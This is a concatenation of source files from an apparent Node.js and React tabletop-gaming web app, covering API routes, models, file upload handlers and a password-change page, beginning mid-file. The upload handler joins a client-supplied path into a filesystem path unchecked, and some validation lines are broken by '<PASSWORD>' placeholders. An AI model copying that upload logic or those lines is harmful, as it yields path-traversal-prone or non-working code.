'POST', 'path': '/api/users/verifyResetToken/{token}', 'config': { 'tags': ['api'], 'description': 'Verify Reset Token is Valid', 'notes': 'Verify Reset Token is Valid', 'validate': { 'params': { 'token': Joi.string().required() } }, 'handler': users.verifyResetToken } }, { 'method': 'POST', 'path': '/api/users/setNewPassword/{token}', 'config': { 'tags': ['api'], 'description': 'Update Password After Forgot E-mail Password Confirmation', 'notes': 'Update Password After Forgot E-mail Password Confirmation', 'validate': { 'params': { 'token': Joi.string().required() }, 'payload': { 'email': Joi.string().required(), 'password': Joi.string().min(8).required() } }, 'handler': users.setNewPassword } }, { 'method': 'POST', 'path': '/api/search/users', 'config': { 'tags': ['api'], 'description': 'Return User/Player search results', 'notes': 'Return User/Player search results', 'validate': { 'payload': { 'maxResults': Joi.optional(), 'searchQuery': Joi.optional(), 'searchBy': Joi.optional(), 'orderBy': Joi.string().required(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional() } } }, 'handler': users.search }, { 'method': 'POST', 'path': '/api/search/users/suggestions', 'config': { 'tags': ['api'], 'description': 'Search for user suggestions based on criteria', 'notes': 'Search for user suggestions based on criteria', 'validate': { 'payload': { 'searchQuery': Joi.optional(), 'maxResults': Joi.number().required() } } }, 'handler': users.searchSuggestions }, ]; <file_sep>/server/models/gameSystem.js 'use strict'; module.exports = function(sequelize, DataTypes) { var GameSystem = sequelize.define('GameSystem', { 'name': DataTypes.STRING, 'description': DataTypes.TEXT, 'url': DataTypes.STRING }, { 'classMethods': { associate: function(models) { GameSystem.hasOne(models.File); GameSystem.belongsTo(models.Manufacturer); GameSystem.hasMany(models.Achievement); GameSystem.hasMany(models.Faction); GameSystem.hasMany(models.GameSystemRanking); GameSystem.hasMany(models.NewsPost); GameSystem.hasMany(models.Product); } } }); return GameSystem; }; <file_sep>/server/routes/handlers/files.js 'use strict'; import models from '../../models'; import fse from 'fs-extra'; import env from '../../../envVariables.js'; import imageConfig from '../../constants/imageConfig'; import Boom from 'boom'; import im from 'imagemagick-stream'; // TODO: Switch to npm package 'gm' for image modification // TODO: Figure out why imagemagick-stream is not properly resizing images // File Upload Route Configs let files = { create: (request, reply) => { models.File.create({ 'AchievementId': request.payload.AchievementId, 'BannerSlideId': request.payload.BannerSlideId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'NewsPostId': request.payload.NewsPostId, 'ProductId': request.payload.ProductId, 'UserId': request.payload.UserId, 'UserAchievementId': request.payload.UserAchievementId, 'identifier': request.payload.identifier, 'locationUrl': request.payload.locationUrl, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }) .then((file) => { reply(file).code(200); }); }, update: (request, reply) => { models.File.find({ 'where': { 'id': request.params.id } }).then((file) => { if (file) { file.updateAttributes({ 'AchievementId': request.payload.AchievementId, 'BannerSlideId': request.payload.BannerSlideId, 'GameSystemId': request.payload.GameSystemId, 'ManufacturerId': request.payload.ManufacturerId, 'NewsPostId': request.payload.NewsPostId, 'ProductId': request.payload.ProductId, 'UserId': request.payload.UserId, 'UserAchievementId': request.payload.UserAchievementId, 'identifier': request.payload.identifier, 'locationUrl': request.payload.locationUrl, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }) .then((file) => { reply(file).code(200); }); } else { reply().code(404); } }); }, add: (request, reply) => { let data = request.payload; if (!data.path || !data.fileSize) { reply(Boom.badRequest(`A 'path' and 'fileSize' attribute must be appended to the FormData object`)); } else if (data.file) { // Handle any image resizing and duplication here let resizeArray = []; if (data.identifier === 'playerIcon' || data.identifier === 'achievement') { imageConfig[data.identifier].sizes.forEach((size) => { resizeArray.push({ 'name': `${size}-${data.file.hapi.filename}`, 'resize': im().resize(`${size}x${size}!`).quality(100) }); }); } let filename = data.file.hapi.filename; let location = __dirname + '/../../../dist' + env.uploadPath + data.path; let path = location + filename; // Using ensureDir instead of ensureFile allow us to overwrite files if they already exist fse.ensureDir(location, (err) => { if (err) { reply(Boom.notAcceptable('An error occured during ensureDir')); return; } // Create the initial file to read from let file = fse.createWriteStream(path); data.file.pipe(file); data.file.on('end', (err) => { if (err) { reply(Boom.notAcceptable('An error occured on file end (resizeArray loop)')); return; } // TODO: Double check that type is correct let successResponse = { 'file': { 'name': filename, 'size': data.fileSize, 'type': data.file.hapi.headers['content-type'], 'locationUrl': env.uploadPath + data.path }, 'filename': data.file.hapi.filename, 'headers': data.file.hapi.headers, 'status': 200, 'statusText': 'File uploaded successfully!' }; if (resizeArray.length > 0) { let count = 0; resizeArray.forEach((resizeConfig) => { let read = fse.createReadStream(path); let resizePath = location + resizeConfig.name; let write = fse.createWriteStream(resizePath); read.pipe(resizeConfig.resize).pipe(write); // NOTE: If this fails, it is likely that imagemagick is not installed on the machine read.on('end', (err) => { if (err) { reply(Boom.notAcceptable('An error occured on file end (resizeArray loop)')); return; } // Set file folder permissions and owners/groups just for safe measure fse.chownSync(location, env.serverUID, env.serverGID); fse.chmodSync(location, '0775'); // Wait for all files to upload before returning response // TODO: Double check that this works count++; if (count >= resizeArray.length) { reply(JSON.stringify(successResponse)).code(200); } }); }); } else { // Set file folder permissions and owners/groups just for safe measure fse.chown(location, env.serverUID, env.serverGID, (err) => { if (err) { reply(Boom.notAcceptable('chown: ' + err)); return; } fse.chmod(location, '0775', (err) => { if (err) { reply(Boom.notAcceptable('chown: ' + err)); return; } reply(JSON.stringify(successResponse)); }); }); } }); }); } else { reply(Boom.badRequest('There was an error uploading your file.')); } }, getAll: (request, reply) => { models.File.findAll({ 'limit': 50 }) .then((files) => { reply(files).code(200); }); }, delete: (request, reply) => { // TODO: Double check that this is safe and will not delete directories models.File.find({ 'where': { 'id': request.params.id } }).then((file) => { if (!file.locationUrl || !file.name) { reply(Boom.notAcceptable('File object is missing a proper locationUrl property or name property')); } let fileName = file.name; let locationPath = __dirname + '/../../../dist' + file.locationUrl; let locationUrl = locationPath + fileName; if (locationUrl.slice(-1) === '/' || locationUrl.indexOf('.') < 0) { reply(Boom.notAcceptable('File object is missing a proper locationUrl property or file name')); } else { models.File.destroy({ 'where': { 'id': request.params.id } }) .then((fileDeleted) => { if (fileDeleted) { fse.unlink(locationUrl, (err) => { if (err) { console.log(err); reply('Error deleting file. File not found.').code(200); return; } // TODO: Add any file that gets duplicated and resized along with resizeConfig if (file.identifier === 'achievement') { let count = 0; imageConfig[file.identifier].sizes.forEach((size) => { fse.unlink(`${locationPath}/${size}-${fileName}`, (error) => { if (error) { console.log(error); } else { count++; if (count >= imageConfig[file.identifier].sizes.length) { reply().code(200); } } }); }); } else { reply().code(200); } }); } else { reply(Boom.notFound('File missing, cannot delete.')); } }); } }); } }; module.exports = files; <file_sep>/compiled-server/constants/imageConfig.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var imageConfig = { 'achievement': { 'sizes': [100, 300, 500] }, 'playerIcon': { 'sizes': [100, 300] } }; exports.default = imageConfig;<file_sep>/server/routes/api/products.js 'use strict'; import Joi from 'joi'; import { products } from '../handlers'; module.exports = [ // Products { 'method': 'GET', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Get one product by id', 'notes': 'Get one product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': products.get }, { 'method': 'GET', 'path': '/api/products', 'config': { 'tags': ['api'], 'description': 'Get all products', 'notes': 'Get all products', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, }, 'handler': products.getAll }, { 'method': 'POST', 'path': '/api/products', 'config': { 'tags': ['api'], 'description': 'Add a new product', 'notes': 'Add a new product', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'payload': { 'ManufacturerId': Joi.optional(), 'GameSystemId': Joi.optional(), 'FactionId': Joi.optional(), 'Files': Joi.optional(), 'SKU': Joi.string().required(), 'name': Joi.string().required(), 'price': Joi.number().integer().required(), 'shippingCost': Joi.number().precision(2).required(), 'description': Joi.string().required(), 'color': Joi.optional(), 'tags': Joi.string(), 'category': Joi.string(), 'stockQty': Joi.number().required(), 'isInStock': Joi.optional(), 'filterVal': Joi.optional(), 'isDisplayed': Joi.boolean().required(), 'isFeatured': Joi.boolean().required(), 'isNew': Joi.boolean().required(), 'isOnSale': Joi.boolean().required() } } }, 'handler': products.create }, { 'method': 'PUT', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Update a product by id', 'notes': 'Update a product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'ManufacturerId': Joi.optional(), 'GameSystemId': Joi.optional(), 'FactionId': Joi.optional(), 'Files': Joi.optional(), 'id': Joi.optional(), 'updatedAt': Joi.optional(), 'createdAt': Joi.optional(), 'SKU': Joi.string().required(), 'name': Joi.string().required(), 'price': Joi.number().integer().required(), 'shippingCost': Joi.number().precision(2).required(), 'description': Joi.string().required(), 'color': Joi.optional(), 'tags': Joi.string().required(), 'category': Joi.string().required(), 'stockQty': Joi.number().required(), 'isInStock': Joi.optional(), 'filterVal': Joi.optional(), 'isDisplayed': Joi.boolean().required(), 'isFeatured': Joi.boolean().required(), 'isNew': Joi.boolean().required(), 'isOnSale': Joi.boolean().required() } } }, 'handler': products.update }, { 'method': 'PUT', 'path': '/api/products/stockQty/update', 'config': { 'tags': ['api'], 'description': 'Update a product stock by id', 'notes': 'Update a product stock by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'direction': Joi.string().valid('increment', 'decrement').required(), 'products': Joi.array().items(Joi.object().keys({ 'id': Joi.number().required(), 'qty': Joi.number().required() })) } } }, 'handler': products.updateStock }, { 'method': 'POST', 'path': '/api/search/products', 'config': { 'tags': ['api'], 'description': 'Return product search results', 'notes': 'Return product search results', 'validate': { 'payload': { 'maxResults': Joi.optional(), 'searchQuery': Joi.optional(), 'searchBy': Joi.optional(), 'orderBy': Joi.string().required(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional(), 'minPrice': Joi.optional(), 'maxPrice': Joi.optional(), 'manufacturerId': Joi.optional(), 'gameSystemId': Joi.optional(), 'storeView': Joi.boolean().required() } } }, 'handler': products.search }, { 'method': 'DELETE', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a product by id', 'notes': 'Delete a product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': products.delete } ]; <file_sep>/compiled-server/routes/handlers/gameSystemRankings.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // Product Route Configs var gameSystemRankings = { createOrUpdate: function createOrUpdate(request, reply) { _models2.default.GameSystemRanking.findOrCreate({ 'where': { '$and': [{ 'GameSystemId': request.payload.GameSystemId }, { 'UserId': request.payload.UserId }] }, 'defaults': { 'UserId': request.payload.UserId, 'GameSystemId': request.payload.GameSystemId, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread(function (gameSystemRanking, created) { if (created) { _models2.default.FactionRanking.findOrCreate({ 'where': { '$and': [{ 'FactionId': request.payload.FactionId }, { 'GameSystemRankingId': gameSystemRanking.id }] }, 'defaults': { 'FactionId': request.payload.FactionId, 'GameSystemRankingId': gameSystemRanking.id, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread(function (factionRanking, created) { if (created) { reply(factionRanking).code(200); } else { factionRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }).then(function (response) { reply(response).code(200); }); } }); } else { gameSystemRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }).then(function (gameSystemRanking) { _models2.default.FactionRanking.findOrCreate({ 'where': { '$and': [{ 'FactionId': request.payload.FactionId }, { 'GameSystemRankingId': gameSystemRanking.id }] }, 'defaults': { 'FactionId': request.payload.FactionId, 'GameSystemRankingId': gameSystemRanking.id, 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses } }).spread(function (factionRanking, created) { if (created) { reply(factionRanking).code(200); } else { factionRanking.increment({ 'totalWins': request.payload.totalWins, 'totalDraws': request.payload.totalDraws, 'totalLosses': request.payload.totalLosses }).then(function (response) { reply(response).code(200); }); } }); }); } }).catch(function (err) { throw _boom2.default.badRequest(err); }); }, search: function search(request, reply) { var pageSize = request.payload.pageSize || 20; var offset = (request.payload.pageNumber - 1) * pageSize; var searchConfig = { '$and': [{ 'GameSystemId': request.params.id }, { 'UserId': { '$gt': 0 } }] }; _models2.default.GameSystemRanking.findAll({ 'where': searchConfig, 'include': [{ 'model': _models2.default.User, 'attributes': ['username', 'id'] }, { 'model': _models2.default.GameSystem, 'attributes': ['name'] }], 'offset': offset, 'limit': request.payload.pageSize, 'order': [['totalWins', 'DESC']] }).then(function (response) { var results = response; _models2.default.GameSystemRanking.findAll({ 'where': searchConfig }).then(function (rankings) { var count = rankings.length; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }); } }; exports.default = gameSystemRankings;<file_sep>/compiled-server/utils/createResetToken.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _jsonwebtoken = require('jsonwebtoken'); var _jsonwebtoken2 = _interopRequireDefault(_jsonwebtoken); var _envVariables = require('../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var createResetToken = function createResetToken(email) { // Sign the JWT return _jsonwebtoken2.default.sign({ 'email': email }, _envVariables2.default.secret, { 'algorithm': 'HS256', 'expiresIn': '1d' }); }; exports.default = createResetToken;<file_sep>/server/routes/handlers/index.js 'use strict'; import achievements from './achievements'; import bannerSlides from './bannerSlides'; import factionRankings from './factionRankings'; import factions from './factions'; import files from './files'; import gameSystemRankings from './gameSystemRankings'; import gameSystems from './gameSystems'; import manufacturers from './manufacturers'; import newsPosts from './newsPosts'; import payments from './payments'; import productOrders from './productOrders'; import products from './products'; import userFriends from './userFriends'; import userAchievements from './userAchievements'; import userNotifications from './userNotifications'; import userPhotos from './userPhotos'; import users from './users'; import venues from './venues'; export { achievements, bannerSlides, factionRankings, factions, files, gameSystemRankings, gameSystems, manufacturers, newsPosts, payments, productOrders, products, userFriends, userAchievements, userNotifications, userPhotos, users, venues }; <file_sep>/compiled-server/routes/api/users.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); var _userFunctions = require('../../utils/userFunctions'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // User Logins { 'method': 'PUT', 'path': '/api/users/{id}/activateAccount', 'config': { 'tags': ['api'], 'description': 'Activate user account', 'notes': 'Activate user account', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.users.activateAccount }, { 'method': 'POST', 'path': '/api/users/authenticate', 'config': { 'pre': [{ 'method': _userFunctions.verifyCredentials, 'assign': 'user' }], 'handler': _handlers.users.authenticate, 'tags': ['api'], 'description': 'Authenticate an existing user', 'notes': 'Authenticate an existing user', 'validate': { 'payload': _joi2.default.alternatives().try(_joi2.default.object({ 'username': _joi2.default.string().min(4).max(50).required(), 'password': _joi2.default.string().min(8).required(), 'rememberMe': _joi2.default.optional() }), _joi2.default.object({ 'username': _joi2.default.string().email().required(), 'password': _joi2.default.string().min(8).required(), 'rememberMe': _joi2.default.optional() })) } } }, { 'method': 'POST', 'path': '/api/users/getMe/{token}', 'config': { 'pre': [{ 'method': _userFunctions.verifyUserToken, 'assign': 'user' }], 'handler': _handlers.users.authenticate, 'tags': ['api'], 'description': 'Authenticate an existing user from a supplied jwt', 'notes': 'Authenticate an existing user from a supplied jwt', 'validate': { 'params': { 'token': _joi2.default.string().required() }, 'payload': { 'password': _<PASSWORD>.default.string().required(), 'rememberMe': _joi2.default.boolean().required() } } } }, { 'method': 'PUT', 'path': '/api/users/{id}/blockUser', 'config': { 'tags': ['api'], 'description': 'Block or unblock a user', 'notes': 'Block or unblock a user', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'accountBlocked': _joi2.default.boolean().required() } } }, 'handler': _handlers.users.blockUser }, { 'method': 'POST', 'path': '/api/users', 'config': { 'pre': [{ 'method': _userFunctions.verifyUniqueUser }], 'handler': _handlers.users.create, 'tags': ['api'], 'description': 'Register a new user', 'notes': 'Register a new user', 'validate': { 'payload': { 'username': _joi2.default.string().min(4).max(50).required(), 'email': _joi2.default.string().email().required(), 'password': _<PASSWORD>.default.string().min(8).required(), 'role': _joi2.default.string().required(), 'firstName': _joi2.default.string().required(), 'lastName': _joi2.default.string().required() } } } }, { 'method': 'GET', 'path': '/api/users/{id}', 'config': { 'tags': ['api'], 'description': 'Get one player by id', 'notes': 'Get one player by id', 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.users.get }, { 'method': 'GET', 'path': '/api/users/username/{username}', 'config': { 'tags': ['api'], 'description': 'Get one player by username', 'notes': 'Get one player by username', 'validate': { 'params': { 'username': _joi2.default.string().required() } } }, 'handler': _handlers.users.get }, { 'method': 'GET', 'path': '/api/users', 'config': { 'tags': ['api'], 'description': 'Get all players', 'notes': 'Get all players', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] } }, 'handler': _handlers.users.getAll }, { 'method': 'PATCH', 'path': '/api/users/{id}', 'config': { 'tags': ['api'], 'description': 'Patch a User Login by id', 'notes': 'Patch a User Login by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'id': _joi2.default.optional(), 'customerId': _joi2.default.optional(), 'email': _joi2.default.optional(), 'rewardPoints': _joi2.default.number(), 'rpPool': _joi2.default.optional(), 'firstName': _joi2.default.optional(), 'lastName': _joi2.default.optional(), 'bio': _joi2.default.optional(), 'member': _joi2.default.optional(), 'subscriber': _joi2.default.optional(), 'tourneyAdmin': _joi2.default.optional(), 'eventAdmin': _joi2.default.optional(), 'eventAdminSubscriber': _joi2.default.optional(), 'newsContributor': _joi2.default.optional(), 'venueAdmin': _joi2.default.optional(), 'clubAdmin': _joi2.default.optional(), 'systemAdmin': _joi2.default.optional(), 'mainPhone': _joi2.default.optional(), 'mobilePhone': _joi2.default.optional(), 'streetAddress': _joi2.default.optional(), 'aptSuite': _joi2.default.optional(), 'city': _joi2.default.optional(), 'state': _joi2.default.optional(), 'zip': _joi2.default.optional(), 'facebook': _joi2.default.optional(), 'twitter': _joi2.default.optional(), 'instagram': _joi2.default.optional(), 'googlePlus': _joi2.default.optional(), 'twitch': _joi2.default.optional(), 'website': _joi2.default.optional(), 'username': _joi2.default.optional(), 'totalWins': _joi2.default.optional(), 'totalLosses': _joi2.default.optional(), 'totalDraws': _joi2.default.optional(), 'totalPoints': _joi2.default.optional(), 'eloRanking': _joi2.default.optional(), 'club': _joi2.default.optional(), 'dob': _joi2.default.optional(), 'youtube': _joi2.default.optional(), 'hasAuthenticatedOnce': _joi2.default.optional(), 'visibility': _joi2.default.optional(), 'shareContact': _joi2.default.optional(), 'shareName': _joi2.default.optional(), 'shareStatus': _joi2.default.optional(), 'newsletter': _joi2.default.optional(), 'marketing': _joi2.default.optional(), 'sms': _joi2.default.optional(), 'allowPlay': _joi2.default.optional(), 'accountActivated': _joi2.default.optional(), 'accountBlocked': _joi2.default.optional(), 'createdAt': _joi2.default.optional(), 'updatedAt': _joi2.default.optional(), 'UserId': _joi2.default.optional(), 'UserNotifications': _joi2.default.optional(), 'UserPhotos': _joi2.default.optional(), 'Friends': _joi2.default.optional(), 'GameSystemRankings': _joi2.default.optional(), 'Files': _joi2.default.optional(), 'UserPhoto': _joi2.default.optional(), 'UserAchievements': _joi2.default.optional() } } }, 'handler': _handlers.users.updatePartial }, { 'method': 'PUT', 'path': '/api/users/{id}/updateRole', 'config': { 'tags': ['api'], 'description': 'Update user role', 'notes': 'Update user role', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'role': _joi2.default.string().required() } } }, 'handler': _handlers.users.updateRole }, { 'method': 'PUT', 'path': '/api/users/{id}/updateRP', 'config': { 'tags': ['api'], 'description': 'Update user reward points', 'notes': 'Update user reward points', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['venueAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'direction': _joi2.default.string().valid('increment', 'decrement').required(), 'rewardPoints': _joi2.default.number().required() } } }, 'handler': _handlers.users.updateRP }, { 'method': 'PUT', 'path': '/api/users/changePassword/{id}', 'config': { 'tags': ['api'], 'description': 'Update User Password from Account Dashboard', 'notes': 'Update User Password from Account Dashboard', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'username': _joi2.default.string().required(), 'password': <PASSWORD>.<PASSWORD>().min(8).<PASSWORD>(), 'newPassword': <PASSWORD>() } }, 'pre': [{ 'method': _userFunctions.verifyCredentials }], 'handler': _handlers.users.changePassword } }, { 'method': 'POST', 'path': '/api/users/resetPassword/', 'config': { 'tags': ['api'], 'description': 'Send E-mail to Reset Password', 'notes': 'Send E-mail to Reset Password', 'validate': { 'payload': { 'email': _joi2.default.string().required() } }, 'pre': [{ 'method': _userFunctions.verifyUserExists, 'assign': 'user' }], 'handler': _handlers.users.resetPassword } }, { 'method': 'POST', 'path': '/api/users/verifyResetToken/{token}', 'config': { 'tags': ['api'], 'description': 'Verify Reset Token is Valid', 'notes': 'Verify Reset Token is Valid', 'validate': { 'params': { 'token': _joi2.default.string().required() } }, 'handler': _handlers.users.verifyResetToken } }, { 'method': 'POST', 'path': '/api/users/setNewPassword/{token}', 'config': { 'tags': ['api'], 'description': 'Update Password After Forgot E-mail Password Confirmation', 'notes': 'Update Password After Forgot E-mail Password Confirmation', 'validate': { 'params': { 'token': _joi2.default.string().required() }, 'payload': { 'email': _joi2.default.string().required(), 'password': _<PASSWORD>.default.string().min(8).required() } }, 'handler': _handlers.users.setNewPassword } }, { 'method': 'POST', 'path': '/api/search/users', 'config': { 'tags': ['api'], 'description': 'Return User/Player search results', 'notes': 'Return User/Player search results', 'validate': { 'payload': { 'maxResults': _joi2.default.optional(), 'searchQuery': _joi2.default.optional(), 'searchBy': _joi2.default.optional(), 'orderBy': _joi2.default.string().required(), 'pageNumber': _joi2.default.number().required(), 'pageSize': _joi2.default.optional() } } }, 'handler': _handlers.users.search }, { 'method': 'POST', 'path': '/api/search/users/suggestions', 'config': { 'tags': ['api'], 'description': 'Search for user suggestions based on criteria', 'notes': 'Search for user suggestions based on criteria', 'validate': { 'payload': { 'searchQuery': _joi2.default.optional(), 'maxResults': _joi2.default.number().required() } } }, 'handler': _handlers.users.searchSuggestions }];<file_sep>/src/services/UserPhotoService.js 'use strict'; import axios from 'axios'; export default { create: (data) => { return axios.post('/userPhotos', data) .then(function(response) { return response.data; }); }, update: (id, data) => { return axios.put('/userPhotos/' + id, data) .then(function(response) { return response.data; }); }, remove: (id) => { return axios.delete('/userPhotos/' + id) .then(function(response) { return response.data; }); } }; <file_sep>/src/components/pages/players/PlayerChangePassword.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {AlertActions} from '../../../library/alerts'; import {handlers} from '../../../library/utilities'; import {Form, Input} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import PlayerService from '../../../services/PlayerService'; const mapStateToProps = (state) => { return { 'user': state.user }; } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class PlayerChangePassword extends React.Component { constructor() { super(); this.state = { 'credentials': {}, 'passwordRepeat': '' }; this.handleInputChange = this.handleInputChange.bind(this); this.handleInputMatch = this.handleInputMatch.bind(this); this.handleSubmit = this.handleSubmit.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Password Change"; } handleInputMatch(e) { this.setState({ 'passwordRepeat': e.target.value }) } handleInputChange(e) { this.setState({ 'user': handlers.updateInput(e, this.state.credentials) }); } handleSubmit(e) { e.preventDefault(); PlayerService.changePassword(this.props.user.id, { 'username': this.props.user.username, 'password': this.state.credentials.password, 'newPassword': this.state.credentials.newPassword }).then(() => { this.showAlert('passwordUpdated'); }); } showAlert(selector) { const alerts = { 'passwordUpdated': () => { this.props.addAlert({ 'title': 'Password Updated', 'message': 'Your password was successfully updated. Login with the new password to continue.', 'type': 'success', 'delay': 4000 }); }, } return alerts[selector](); } render() { return ( <ViewWrapper headerImage="/images/Titles/Change_Password.png" headerAlt="Change Password"> <div className="row"> <div className="small-12 columns"> <h3 className="text-center">Enter your e-mail address and click submit to change your password.</h3> <Form name="changePasswordForm" submitText="Submit" handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">Current Password</label> <Input type="password" name="password" value={this.state.credentials.password} handleInputChange={this.handleInputChange} validate="password" required={true} inputMatch={this.state.passwordRepeat}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">New Password</label> <Input type="password" name="newPassword" value={this.state.credentials.newPassword} handleInputChange={this.handleInputChange} validate="password" required={true} inputMatch={this.state.passwordRepeat}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-4 columns"> <label className="required">Repeat New Password</label> <Input type="password" name="passwordRepeat" value={this.state.passwordRepeat} handleInputChange={this.handleInputMatch} inputMatch={this.state.credentials.newPassword} validate="password" required={true} /> </div> </div> </Form> </div> </div> <div className="row push-top-2x"> <div className="small-12 columns text-center"> <h5 className="required">Password Requirements</h5> <ul className="no-bullets"> <li>Minimum of 8 characters</li> <li>At least one lowercase letter</li> <li>At least one uppercase letter</li> <li>Minimum of 8 characters</li> <li>At least one symbol/special character !@#$%^&_-+=,./?</li> </ul> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerChangePassword)); <file_sep>/src/constants/UserMessageConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_USER_MESSAGE_REQUEST: null, GET_USER_MESSAGE: null, GET_USER_MESSAGES: null, CREATE_USER_MESSAGE: null, UPDATE_USER_MESSAGE: null, REMOVE_USER_MESSAGE: null, FILTER_USER_MESSAGES: null }); <file_sep>/src/library/utilities/formatJSONDate.js 'use strict'; // NOTE: Returns a formatted date. 'timezone' and 'format' arguments are optional // NOTE: Be aware of the timezone set for the current database import moment from 'moment-timezone'; const formatDate = (input, timezone = 'Etc/GMT', format = 'MMMM D, YYYY') => { if (!input) { console.log('formatJSONDate.js: Date is undefined'); } let output = moment.tz(input, timezone).format(format); return output; }; export default formatDate; <file_sep>/server/routes/api/payments.js 'use strict'; import Joi from 'joi'; import { payments } from '../handlers'; module.exports = [ // Payments { 'method': 'POST', 'path': '/api/payments/subscriptions', 'config': { 'tags': ['api'], 'description': 'Create a new subscription', 'notes': 'Create a new subscription', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'eventAdmin'] }, 'validate': { 'payload': { 'UserId': Joi.number().required(), 'token': Joi.optional(), 'plan': Joi.string().required(), 'email': Joi.string().required(), 'description': Joi.string().required() } } }, 'handler': payments.createSubscription }, { 'method': 'GET', 'path': '/api/payments/subscriptions', 'config': { 'tags': ['api'], 'description': 'Get all available subscriptions', 'notes': 'Get all available subscriptions', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'eventAdmin'] } }, 'handler': payments.getSubscriptionPlans }, { 'method': 'GET', 'path': '/api/payments/getCustomer/{id}', 'config': { 'tags': ['api'], 'description': 'Get customer by Id', 'notes': 'Get customer by Id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'eventAdminSubscriber'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': payments.getCustomer }, { 'method': 'POST', 'path': '/api/payments/payShippingCost/{id}', 'config': { 'tags': ['api'], 'description': 'Request new purchase', 'notes': 